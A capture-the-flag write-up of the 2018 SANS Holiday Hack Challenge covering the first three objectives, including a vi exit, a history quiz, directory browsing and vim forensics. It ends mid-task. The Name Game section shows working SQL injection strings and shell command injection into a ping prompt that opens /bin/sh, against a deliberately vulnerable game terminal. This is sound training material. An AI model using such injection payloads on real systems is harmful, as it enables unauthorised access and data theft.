Summary

• Presentation
  • Meeting Santa
  • A roadmap for our journey
• Objective 1 : Orientation Challenge
  • « Essential Editor Skills » terminal
  • The « KringleCon History»  Kiosk
• Objective 2 : Directory Browsing
  • « The Name Game » terminal
  • « KringleCon Call For Papers » website
• Objective 3 : de Bruijn Sequences
  • "Lethal ForensicELFication" terminal (second floor, second on right hand)
  • « Speaker Unpreparedness Room » door passcode
• Objective 4 : Data Repo Analysis
  • « Stall Mucking Report » terminal
  • North Pole Git repository
• Objective 5 : AD Privilege Discovery
  • « CURLing Master » terminal
  • SANS Slingshot Linux Image
• Objective 6 : Badge Manipulation
  • « Yule Log Analysis » terminal
  • Scan-O-Matic
• Google ventilation maze
• Objective 7 : HR Incident Response
• Objective 8 : Network Traffic Forensics
  • Web-based Packet Capture and Analysis Tool
• Objective 9 : Ransomware Recovery
  • The SleighBell terminal
  • Catch the Malware
    • Snort Challenge terminal
  • Identify the Domain
  • Stop the Malware
    • Hohoho Daddy terminal
  • Recover Alabaster's Password
• Objective 10 : Who Is Behind It All?
• Mysterious backroom
• Appendices
  • Narrative
  • Hints
  • Talks
  • Some after words

Presentation

Meeting Santa

Entering Kringle castle, we meet Santa, which has a lot to tell us :

This reveals our 10 objectives. Moreover, Santa gives us a lot of valuable informations. One of them is very important like you can miss the fact that when clicking on your character you can access to your badge.

Looking at our objectives, we see that there are 10 of them :

A roadmap for our journey

From this list we can get a synthetic view of our objectives and some hints to achieve them :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware
9.2) Identify the Domain
9.3) Stop the Malware
9.4) Recover Alabaster's Password
10) Who Is Behind It All?

We have something like a roadmap, let's go for our 2018 SANS Holiday Hack Challenge journey !

To begin we have to enter in the Kringle Castle :

And this is a view of the hall of the second floor :

---

Objective 1 : Orientation Challenge

According to our roadmap, we can go and meet Bushy Evergreen for some hints about the « Orientation Challenge ».

With the help of the given link to Indiana University Vi Tutorials, we can now try to solve the « Essential Editor Skills » challenge.

« Essential Editor Skills » terminal

        ........................................
        .;oooooooooooool;,,,,,,,,:loooooooooooooll:
      .:oooooooooooooc;,,,,,,,,:ooooooooooooollooo:
    .';;;;;;;;;;;;;;,''''''''';;;;;;;;;;;;;,;ooooo:
  .''''''''''''''''''''''''''''''''''''''''';ooooo:
;oooooooooooool;''''''',:loooooooooooolc;',,;ooooo:
.:oooooooooooooc;',,,,,,,:ooooooooooooolccoc,,,;ooooo:
.cooooooooooooo:,''''''',:ooooooooooooolcloooc,,,;ooooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;ooo,
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,,;l'
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc,,..
coooooooooooooo,,,,,,,,,;ooooooooooooooloooooc.
coooooooooooooo,,,,,,,,,;ooooooooooooooloooo:.
coooooooooooooo,,,,,,,,,;ooooooooooooooloo;
:llllllllllllll,'''''''';llllllllllllllc,
I'm in quite a fix, I need a quick escape.
Pepper is quite pleased, while I watch here, agape.
Her editor's confusing, though "best" she says - she yells!
My lesson one and your role is exit back to shellz.
-Bushy Evergreen
Exit vi.

~
~
~
~
~
~
~
~
                                                            1,1      All

To exit from vi, we have to strike the ESC key to switch to command mode and type the quit command :q :

~
~
~
:q 

Then strike the Enter key :

Loading, please wait......



You did it! Congratulations!

elf@5e75b12f010d:~$

Time to speak again with Bushy :

Bushy gaves us two new hints :

• a link to the Past Holiday Hack Challenges ;
• the Ed Skoudis talk at KringleCon can help us with this challenge.

She also unlocks a new objective, but this one is already in our roadmap since we discussed with Santa.

Before watching the Ed's conference, let's have a look at the Kringle History Kiosk.

The « KringleCon History»  Kiosk

After watching the video and poking around in the past holiday hack challenges, we get all the answers.

Here are the questions and their good answers :

• « In 2015, the Dosis siblings asked for help understanding what piece of their "Gnome in Your Home" toy? » Answer : Firmware.
• « In 2015, the Dosis siblings disassembled the conspiracy dreamt by which corporation? » Answer : ATNAS.
• « In 2016, participants were sent off on a problem-solving quest based on what artifact that Santa left? » Answer : Business card.
• « In 2016, Linux terminals at the North Pole could be accessed with what kind of computer? » Answer : Cranberry Pi.
• « In 2017, the North Pole was being bombarded by giants objects. What were they? » Answer : Snowballs.
• « In 2017, Sam the snowman needed help reassembling pages torn from what? » Answer : The Great Book.

With the good answers, we get the flag :

This flag can be used to achieve the first objective :

And, yes, it works :

We can mark the first objective :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware
9.2) Identify the Domain
9.3) Stop the Malware
9.4) Recover Alabaster's Password
10) Who Is Behind It All?

We can now address the second objective.

---

Objective 2 : Directory Browsing

To achieve this challenge, we have to find « who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness? ».

According to our roadmap, we can go and speak to Minty Candycane.

Minty gaves us two Hints :

• a link to a Powershell command injection article : Powershell call/& Operator ;
• a link to a page explaining how to dump a SQLite3 database : SQLite3 Data Dump.

May be we can inject powershell commands via the Onboarding system and dump the SQLite3 database ?

It's time to use the Name Game terminal !

Terminal "The Name Game"

We just hired this new worker,
Californian or New Yorker?
Think he's making some new toy bag...
My job is to make his name tag.

Golly gee, I'm glad that you came,
I recall naught but his last name!
Use our system or your own plan,
Find the first name of our guy "Chan!"

-Bushy Evergreen

To solve this challenge, determine the new worker's first name and submit to runtoanswer.
        
        
        
====================================================================
=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =
====================================================================
        
        
        
Press  1 to start the onboard process.
Press  2 to verify the system.
Press  q to quit.
        
Please make a selection: 

Ok, so we have to found Chan's firstname. Let's have a look to choice 1 :

Welcome to Santa's Castle!


At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.

Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.

Enter your first name.
: fn
Enter your last name.
: ln
Enter your street address (line 1 of 2).
: 1
Enter your street address (line 2 of 2).
: 2
Enter your city.
: town
Enter your postal code.
: 12345
Enter your phone number.
: 1
Enter your email address.
: a.b@c.com


Is this correct?


fn ln
1
2
town, 12345
1
a.b@c.com
y/n:y
Save to sqlite DB using command line
Press Enter to continue...:         

Hum, Save to sqlite DB using command line. If there is a database, may be there is an SQL injection. Moreover the message tells that the save use command line, probably the SQLite3 command shell. Let's try putting some quotes in the fields :

Enter your first name.
: '
Enter your last name.
: '
Enter your street address (line 1 of 2).
: '
Enter your street address (line 2 of 2).
: '
Enter your city.
: '
Enter your postal code.
: '
Enter your phone number.
: '
Enter your email address.
: '
Is this correct?
' '
'
'
', '
'
'
y/n: y
Save to sqlite DB using command line
Error: 4 values for 8 columns
Press Enter to continue...: 

Ok, ours injections have modified the SQL request structure and have generated an error, so there is an injection !

But we are probably in an INSERT statement.

The statement is probably like this one : INSERT INTO onboard (firstname,lastname,address1,address2,city,code,phone,email) VALUES ('xx','yy','zz','aa','bb','cc','dd','ee');, and our injection has modified it to INSERT INTO onboard (firstname,lastname,address1,address2,city,code,phone,email) VALUES (''',''',''',''',''',''',''',''');. The error stands for 4 values for 8 colums like SQLite interprets the values concatenating strings like this :

INSERT INTO onboard (firstname,lastname,address1,address2,city,code,phone,email) VALUES (''+','+'',''+','+'',''+','+'',''+','+'');

When the save to SQLite database works we have a message telling us that Save to sqlite db using command line. So if we can modify the INSERT command to add a SELECT, may be we can read his result.

We're going to try to properly close the INSERT command and add a simple SELECT command to see if it works :

At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.

Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.

Enter your first name.
: 
Enter your last name.
: 
Enter your street address (line 1 of 2).
: 
Enter your street address (line 2 of 2).
: 
Enter your city.
: 
Enter your postal code.
: 
Enter your phone number.
: 
Enter your email address.
: ');SELECT 1;--
Is this correct?
         
, 
'); SELECT 1; --
y/n: y
Save to sqlite DB using command line
Press Enter to continue...: 1

See the 1 at the end ? It works !

We can now try to list the tables in the database with the command SELECT name FROM sqlite_master WHERE type='table' :

Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.
Enter your first name.
: 
Enter your last name.
: 
Enter your street address (line 1 of 2).
: 
Enter your street address (line 2 of 2).
: 
Enter your city.
: 
Enter your postal code.
: 
Enter your phone number.
: 
Enter your email address.
: '); SELECT name FROM sqlite_master WHERE type='table'; --
Is this correct?
             
, 
'); SELECT name FROM sqlite_master WHERE type='table'; --
y/n: y
Save to sqlite DB using command line
Press Enter to continue...: onboard

Ok, there is a single table named onboard. May be a simple listing of this table content will reveal the Chan's firstname ? So we try a SELECT * FROM onboard :

Welcome to Santa's Castle!
At Santa's Castle, our employees are our family. We care for each other,
and support everyone in our common goals.

Your first test at Santa's Castle is to complete the new employee onboarding paperwork.
Don't worry, it's an easy test! Just complete the required onboarding information below.

Enter your first name.
: 
Enter your last name.
: 
Enter your street address (line 1 of 2).
: 
Enter your street address (line 2 of 2).
: 
Enter your city.
: 
Enter your postal code.
: 
Enter your phone number.
: 
Enter your email address.
: '); SELECT * FROM onboard; --

[...]
139|Rachel|Trent|4653 Haaglund Rd||Lower Post|V0H 0H0|250-779-0723|racheljtrent@teleworm.us
140|Iva|Johnson|2939 Quilly Lane||Westerville|43081|614-544-2873|ivadjohnson@jourrapide.com
141|Lance|Arceo|86 Kingsway North||HOLMSIDE|DH7 9EW|070 5772 3162|lancemarceo@cuvox.de
142|Valerie|Howell|1142 rue Levy||Montreal|H3C 5K4|514-774-5866|valeriedhowell@superrito.com
143|Mary|Poirier|2038 Stutler Lane||Bedford|15522|814-423-2173|marydpoirier@einrot.com
144|Susanne|Camp|4146 Galts Ave||Red Deer|T4N 5Z9|403-373-2195|susannewcamp@armyspy.com
145|Ron|Peters|1364 137th Avenue||Edmonton|T5M 3K3|780-454-1668|ronlpeters@rhyta.com
146|Marjory|Bryant|4129 Court Street||Eureka|63025|636-587-5083|marjorykbryant@dayrep.com
147|Betty|Pratt|68 Oxford Rd||WOOTTON|CT4 5WA|070 4977 6152|bettygpratt@gustr.com
148|Regina|Chen|3930 Chestnut Street||Tampa|33619|727-482-0568|reginalchen@cuvox.de
149|Charles|Atkins|418 Hood Avenue||San Diego|92111|858-694-9634|charlesmatkins@gustr.com
150|Lawrence|Taylor|91 Scarcroft Road||PORT LOGAN|DG9 5LG|077 3050 1172|lawrencejtaylor@cuvox.de
151|Pam|Goudy|1785 Russell Street||Woburn|1801|978-853-5666|pamgoudy@einrot.com
152|Evelyn|Evans|2438 Reserve St||Parham|K0H 2K0|613-375-6041|evelyndevans@cuvox.de
153|Janice|Atkin|85 Oxford Rd||WORK|KW15 5EF|078 8718 3013|janicebatkin@dayrep.com
154|Hazel|Merrick|3751 Owen Lane||Naples|33940|239-263-5968|hazelbmerrick@cuvox.de
155|Pearlene|Ferrell|1410 Dominion St||Finch|K0C 1K0|613-984-2873|pearlenetferrell@teleworm.us
156|Peggy|Harper|1846 Davis Street||Chickamauga|30707|706-382-7319|peggyaharper@armyspy.com
157|Carol|Lindsey|4211 40th Street||Calgary|T2M 0X4|403-210-8234|carolglindsey@gustr.com
158|Santiago|Field|4783 Merivale Road||Kanata|K2K 1L9|613-592-3285|santiagobfield@einrot.com
159|Hugh|Torres|3773 Northumberland Street||Baden|N0B 1G0|519-634-7229|hughbtorres@teleworm.us
160|Claudia|Halpin|3248 Colonial Drive||College Station|77840|979-764-7262|claudiajhalpin@armyspy.
com
161|Christopher|Windham|2310 Barton Street||Stoney Creek|L8G 2V1|905-664-5559|christopheruwindham@
fleckens.hu
162|Theodore|Young|4201 Providence Lane||Anaheim|92801|626-803-1180|theodoresyoung@cuvox.de
163|Lauren|Casey|4455 Fallon Drive||Hensall|N0M 1X0|519-263-7462|laurenjcasey@jourrapide.com
164|Molly|Logan|1544 St George Street||Vancouver|V5T 1Z7|604-871-8098|mollyhlogan@jourrapide.com
165|Alan|Guinn|3395 Galts Ave||Red Deer|T4N 2A6|403-309-5523|alanmguinn@fleckens.hu
166|Brenda|Johnson|65 Northgate Street||BETLEY|CW3 1TE|070 1362 3463|brendatjohnson@gustr.com
167|Catherine|Priest|1144 McDonald Avenue||Orlando|32810|407-924-7464|catherinebpriest@superrito.c
om
168|William|McCoy|1019 Benson Park Drive||Newcastle|73065|405-387-6925|williammmccoy@superrito.com
169|Stephanie|Jaynes|1854 Tycos Dr||Toronto|M5T 1T4|416-605-0198|stephaniejjaynes@rhyta.com
170||||||||    

This one returns too much datas. It's possible to look for Chan in it, but it will be easier by narrowing the search in the table.

For this, we need to know the column names of the onboard table. The command SELECT sql FROM sqlite_master WHERE type != 'meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name = 'onboard' will retrieve these columns names :

Is this correct?
 
            , 
            '); SELECT sql FROM sqlite_master WHERE type != 'meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_
            %'  AND name = 'onboard'; --
            y/n: y
            Save to sqlite DB using command line
            CREATE TABLE onboard (
                id INTEGER PRIMARY KEY,
                fname TEXT NOT NULL,
                lname TEXT NOT NULL,
                street1 TEXT,
                street2 TEXT,
                city TEXT,
                postalcode TEXT,
                phone TEXT,
                email TEXT
            )
            Press Enter to continue...: 

Ok, the intersting column is probably lname. So we try the command SELECT * FROM onboard WHERE lname LIKE '%chan%' :

Enter your first name.
:      
Enter your last name.
: 
Enter your street address (line 1 of 2).
: 
Enter your street address (line 2 of 2).
: 
Enter your city.
: 
Enter your postal code.
: 
Enter your phone number.
: 
Enter your email address.
: '); SELECT * FROM onboard WHERE lname LIKE '%chan%'; --
Is this correct?
             
, 
'); SELECT * FROM onboard WHERE lname LIKE '%chan%'; --
y/n: y
Save to sqlite DB using command line
Press Enter to continue...: 84|Scott|Chan|48 Colorado Way||Los Angeles|90067|4017533509|scottmchan
90067@gmail.com

We have the Chan's firstname, so we have now to give it to runtoanswer. Let's quit the onboarding application and launch ./runtoanswer> :

====================================================================
=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =
====================================================================


Press  1 to start the onboard process.
Press  2 to verify the system.
Press  q to quit.
Please make a selection: q
        

Seem's that there is a little bug : we can not quit the onboarding application !

CTRL-C or Break does not work either.

How can we launch runtoanswer from the onboarding application ?

At this point we remember that there is a choice 2. Let's have a look. The script asks us for a server address. If we enter nothing, we see that the script launch a ping :

Validating data store for employee onboard information.
Enter address of server: 
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
onboard.db: SQLite 3.x database
Press Enter to continue...:

With localhost as server address it works fine :

Validating data store for employee onboard information.
Enter address of server: localhost
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.033 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.039 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.044 ms
               
--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2037ms
rtt min/avg/max/mdev = 0.033/0.038/0.044/0.008 ms
onboard.db: SQLite 3.x database
Press Enter to continue...:

Since it seems to be a script launching the ping command, may be we can inject a second command ? So using the ; shell command separator we try to inject an ls command :

Validating data store for employee onboard information.
Enter address of server: localhost;ls
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.039 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.041 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.031 ms
--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2030ms
rtt min/avg/max/mdev = 0.031/0.037/0.041/0.004 ms
menu.ps1  onboard.db  runtoanswer
onboard.db: SQLite 3.x database
Press Enter to continue...: 

It works, we can now launch ./runtoanswer with this command injection :

Note: if we had looked directly at the second option, we could had solved this challenge without exploiting the SQL Injection vulnerability. Instead, we could had launched an SQLite command shell, load the database and browse it or dump it :

Validating data store for employee onboard information.
Enter address of server: localhost;sqlite3
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.037 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.055 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.043 ms
--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2037ms
rtt min/avg/max/mdev = 0.037/0.045/0.055/0.007 ms
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite>.open onboard.db
sqlite>.tables
onboard
sqlite>.schema onboard
CREATE TABLE onboard (
    id INTEGER PRIMARY KEY,
    fname TEXT NOT NULL,
    lname TEXT NOT NULL,
    street1 TEXT,
    street2 TEXT,
    city TEXT,
    postalcode TEXT,
    phone TEXT,
    email TEXT
);
sqlite>SELECT fname FROM onboard WHERE lname LIKE "chan"
Scott
sqlite>

We can also get a system shell :

Validating data store for employee onboard information.
Enter address of server: localhost;/bin/sh   
PING localhost (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.039 ms
64 bytes from localhost (127.0.0.1): icmp_seq=2 ttl=64 time=0.064 ms
64 bytes from localhost (127.0.0.1): icmp_seq=3 ttl=64 time=0.058 ms
--- localhost ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2055ms
rtt min/avg/max/mdev = 0.039/0.053/0.064/0.013 ms
$ ls
menu.ps1  onboard.db  runtoanswer
$ id
uid=1000(elf) gid=1000(elf) groups=1000(elf)

Or make the expected Powershell Injection, open the onboard.db and dump it :

Validating data store for employee onboard information.
Enter address of server: & "sqlite3"
Usage: ping [-aAbBdDfhLnOqrRUvV] [-c count] [-i interval] [-I interface]
            [-m mark] [-M pmtudisc_option] [-l preload] [-p pattern] [-Q tos]
            [-s packetsize] [-S sndbuf] [-t ttl] [-T timestamp_option]
            [-w deadline] [-W timeout] [hop1 ...] destination
SQLite version 3.11.0 2016-02-15 17:29:24
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open onboard.db
sqlite> .dump
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE onboard (
    id INTEGER PRIMARY KEY,
    fname TEXT NOT NULL,
    lname TEXT NOT NULL,
    street1 TEXT,
    street2 TEXT,
    city TEXT,
    postalcode TEXT,
    phone TEXT,
    email TEXT
);
INSERT INTO "onboard" VALUES(10,'Karen','Duck','52 Annfield Rd',NULL,'BEAL','DN14 7AU','07
7 8656 6609','karensduck@einrot.com');
INSERT INTO "onboard" VALUES(11,'Josephine','Harrell','3 Victoria Road',NULL,'LITTLE ASTON
','B74 8XD','079 5532 7917','josephinedharrell@einrot.com');
[...]
INSERT INTO "onboard" VALUES(84,'Scott','Chan','48 Colorado Way',NULL,'Los Angeles','90067
','4017533509','scottmchan90067@gmail.com'); 

Opening a shell we can also get the menu.ps1 source with a cat menu.ps1 command :

$global:firstrun = $TRUE

function Show-Menu
{
    $intro = @(
        "We just hired this new worker,",
        "Californian or New Yorker?",
        "Think he's making some new toy bag...",
        "My job is to make his name tag.",
        "",
        "Golly gee, I'm glad that you came,",
        "I recall naught but his last name!",
        "Use our system or your own plan,",
        "Find the first name of our guy `"Chan!`"",
        "",
        "-Bushy Evergreen",
        "",
        "To solve this challenge, determine the new worker's first name and submit to runtoanswer."
    )
    $header = @(
        "===================================================================="
        "=                                                                  =",
        "= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =",
        "=                                                                  =",
        "===================================================================="
    )

    cls
    if ($global:firstrun -eq $TRUE) {
        Write-Host "`n`n"
        for ($i = 0; $i -lt $intro.length; $i++) {
            Write-Host $intro[$i]
        }
        $global:firstrun = $FALSE
    }

    Write-Host "`n`n`n"
    for ($i = 0; $i -lt $header.length; $i++) {
        Write-Host $header[$i]
    }
    Write-Host "`n`n`n"
    Write-Host ' Press '1' to start the onboard process.'
    Write-Host ' Press '2' to verify the system.'
    Write-Host ' Press 'q' to quit.'
    Write-Host "`n"
}

function Employee-Onboarding-Form
{
    Write-Host "`n`nWelcome to Santa's Castle!`n`n"
    Write-Host "At Santa's Castle, our employees are our family. We care for each other,"
    Write-Host "and support everyone in our common goals.`n"
    Write-Host "Your first test at Santa's Castle is to complete the new employee onboarding paperwork."
    Write-Host "Don't worry, it's an easy test! Just complete the required onboarding information below.`n`n"

    $efirst = Read-Host "Enter your first name.`n"
    $elast = Read-Host "Enter your last name.`n"
    $estreet1 = Read-Host "Enter your street address (line 1 of 2).`n"
    $estreet2 = Read-Host "Enter your street address (line 2 of 2).`n"
    $ecity = Read-Host "Enter your city.`n"
    $epostalcode = Read-Host "Enter your postal code.`n"
    $ephone = Read-Host "Enter your phone number.`n"
    $eemail = Read-Host "Enter your email address.`n"

    Write-Host "`n`nIs this correct?`n`n"
    Write-Host "$efirst $elast"
    Write-Host "$estreet1"
    if ($estreet2) {
        Write-Host "$estreet2"
    }
    Write-Host "$ecity, $epostalcode"
    Write-Host "$ephone"
    Write-Host "$eemail"

    $input = Read-Host 'y/n'
    if ($input -eq 'y' -Or $input -eq 'Y') {
        Write-Host "Save to sqlite DB using command line"
        Start-Process -FilePath "./sqlite3" -ArgumentList "onboard.db `"INSERT INTO onboard (fname, lname, street1, street2, city, postalcode, phone, email) VALUES (`'$efirst`',`'$elast`', `'$estreet1`', `'$estreet2`', `'$ecity`', `'$epostalcode`', `'$ephone`', `'$eemail`')`""
    }
}

try
{
    do
    {
        Show-Menu
        $input = Read-Host 'Please make a selection'
        switch ($input)
        {
            '1' {
                cls
                Employee-Onboarding-Form
            } '2' {
                cls
                Write-Host "Validating data store for employee onboard information."
                $server = Read-Host 'Enter address of server'
                /bin/bash -c "/bin/ping -c 3 $server"
                /bin/bash -c "/usr/bin/file onboard.db"
            } '9' {
                /usr/bin/pwsh
                return
            } 'q' {
                return
            } default {
                Write-Host "Invalid entry."
            }
        }
        pause
    }
    until ($input -eq 'q')
} finally {
}

This gives us the sources of the injections vulnerabilities :

• the INSERT SQL statement is executed by launching a SQLite3 command shell like expected ;
• the system verification launched a ping command as a parameter of a system shell, which permit us to injects system commands.

These two vulnerabilities are the result of a lack of control on user inputs. NEVER TRUST USER INPUTS !

We can also note that there is an hidden menu choice : with the choice 9 we could had obtained a powershell shell directly :

And yes, the 9 choice works :

====================================================================
=                                                                  =
= S A N T A ' S  C A S T L E  E M P L O Y E E  O N B O A R D I N G =
=                                                                  =
====================================================================
 Press  1 to start the onboard process.
 Press  2 to verify the system.
 Press  q to quit.
Please make a selection: 9
PowerShell v6.0.3
Copyright (c) Microsoft Corporation. All rights reserved.
https://aka.ms/pscore6-docs
Type 'help' to get help.
PS /home/elf> 

We can now go back to Minty Candycane and see what she has to say.

Minty gaves us two new hints :

• a PortSwigger article on Website Directory Browsing ;
• how to find browsable directories on web site : « On a website, finding browsable directories is sometimes as simple as removing characters from the end of a URL ».

This can probably help us to find who submitted (First Last) the rejected talk titled Data Loss for Rainbow Teams: A Path in the Darkness.

It's time to look at the KringleCon Call For Papers web site.

« KringleCon Call For Papers » website

The CFP Site has two pages, the "CFP Home" and the "Call for Papers" :

Do you note that the "Call for papers" page sits in a cfp directory ?

What happens if we try to request the directory instead of the cfp.html page in it. Bingo, there is an open directory.

Requesting https://cfp.kringlecastle.com/cfp/ gives us a the list of files in cfp directory :

Now, we know that there is a rejected-talks.csv and we probably can get it.

The author firstname and lastname are : John McClane !

We may have achieved the second objective :

And it works !

Here is our updated roadmap :

Objective	Difficulty	Terminal & links	Character
1) Orientation Challenge		KringleCon Holiday Hack History kiosk Essential Editor Skills	Bushy Evergreen
2) Directory Browsing		CFP site The Name Game terminal	Minty Candycane
3) de Bruijn Sequences		Lethal ForensicELFication terminal	Tangle Coalbox
4) Data Repo Analysis		North Pole Git repository Stall Mucking Report terminal	Wunorse Openslae
5) AD Privilege Discovery		SANS Slingshot Linux Image CURLing Master terminal	Holly Evergreen
6) Badge Manipulation		sample employee badge Yule Log Analysis terminal	Pepper Minstix
7) HR Incident Response		ELF Resources website Dev Ops Fail terminal	Sparkle Redberry
8) Network Traffic Forensics		web-based packet capture and analysis tool Python Escape from LA terminal	SugarPlum Mary
9) Ransomware Recovery		Sleigh Bell Lottery terminal	Shinny Upatree
9.1) Catch the Malware
9.2) Identify the Domain
9.3) Stop the Malware
9.4) Recover Alabaster's Password
10) Who Is Behind It All?

Moving to the third objective now...

---

Objective 3 : de Bruijn Sequences

Following our roadmap, we look for Tangle Coalbox which is on the second floor in the coridor at right hand, just at the left of the speaker unpreparedness room :

We get a new hint : Forensic Relevance of Vim Artifacts. This will probably be usefull to solve the « Lethal ForensicELFication » !

Terminal "Lethal ForensicELFication" (first floor, second on right hand)

We have to find the first name of the elf of whom a love poem was written.

Looking in the directory we saw only the runtoanswer script :

elf@9a47b22440e3:~$ ls
runtoanswer
elf@9a47b22440e3:~$ 

But if we look also for hidden files with a ls -A command :

elf@9a47b22440e3:~$ ls -A
.bash_history  .bash_logout  .bashrc  .profile  .secrets  .viminfo  runtoanswer
elf@9a47b22440e3:~$ 

There are two interesting files and one directory : .bash_history, .viminfo and the .secrets directory.

First, we look at the .secrets directory and found a poem in the her subdirectory :

elf@9a47b22440e3:~$ cd .secrets
elf@9a47b22440e3:~$ cd .secrets
elf@9a47b22440e3:~/.secrets$ ls -A
her
elf@9a47b22440e3:~/.secrets$ cd her
elf@9a47b22440e3:~/.secrets/her$ ls -A
poem.txt
elf@9a47b22440e3:~/.secrets/her$ cat poem.txt
Once upon a sleigh so weary, Morcel scrubbed the grime so dreary,
Shining many a beautiful sleighbell bearing cheer and sound so pure--
  There he cleaned them, nearly napping, suddenly there came a tapping,
As of someone gently rapping, rapping at the sleigh house door.
"'Tis some caroler," he muttered, "tapping at my sleigh house door--
  Only this and nothing more."
    
Then, continued with more vigor, came the sound he didn't figure,
Could belong to one so lovely, walking 'bout the North Pole grounds.
  But the truth is, she WAS knocking, 'cause with him she would be talking,
Off with fingers interlocking, strolling out with love newfound?
Gazing into eyes so deeply, caring not who sees their rounds.
  Oh, 'twould make his heart resound!
    
Hurried, he, to greet the maiden, dropping rag and brush - unlaiden.
Floating over, more than walking, moving toward the sound still knocking,
  Pausing at the elf-length mirror, checked himself to study clearer,
Fixing hair and looking nearer, what a hunky elf - not shocking!
Peering through the peephole smiling, reaching forward and unlocking:
  NEVERMORE in tinsel stocking!
    
Greeting her with smile dashing, pearly-white incisors flashing,
Telling jokes to keep her laughing, soaring high upon the tidings,
  Of good fortune fates had borne him.  Offered her his dexter forelimb,
Never was his future less dim!  Should he now consider gliding--
No - they shouldn't but consider taking flight in sleigh and riding
  Up above the Pole abiding?
    
Smile, she did, when he suggested that their future surely rested,
Up in flight above their cohort flying high like ne'er before!
  So he harnessed two young reindeer, bold and fresh and bearing no fear.
In they jumped and seated so near, off they flew - broke through the door!
Up and up climbed team and humor, Morcel being so adored,
By his lovely NEVERMORE!
    
-Morcel Nougat

This is fun, but does not give us the first name of the elf of whom a love poem was written like it's unlikely that the lady is called NEVERMORE !

Looking at the command history, we saw that the poem was downloaded from internet and edited with VIM. We can also note that a Google search for replacing strings in vim has been done before editing :

elf@9a47b22440e3:~$ cat .bash_history
set -o history
whoami
echo "No, really...  /-:"
mkdir -p .secrets/her/
firefox https://www.google.com/search?q=love+poetry
vim
ls -lAR
exit
set -o history
df -h
who
firefox https://www.google.com/search?q=replacing+strings+in+vim
time vim
ls -lAR
exit
set -o history
vim
exit
    
ls -lA
cat .bash_history
echo "" >> .bash_history
firefox https://www.google.com/search?q=turn+off+bash+history
set +o history
set +o history
elf@9a47b22440e3:~$ 

Fortunately, we have the .viminfo file which can tell us more :

elf@9a47b22440e3:~$ cat .viminfo
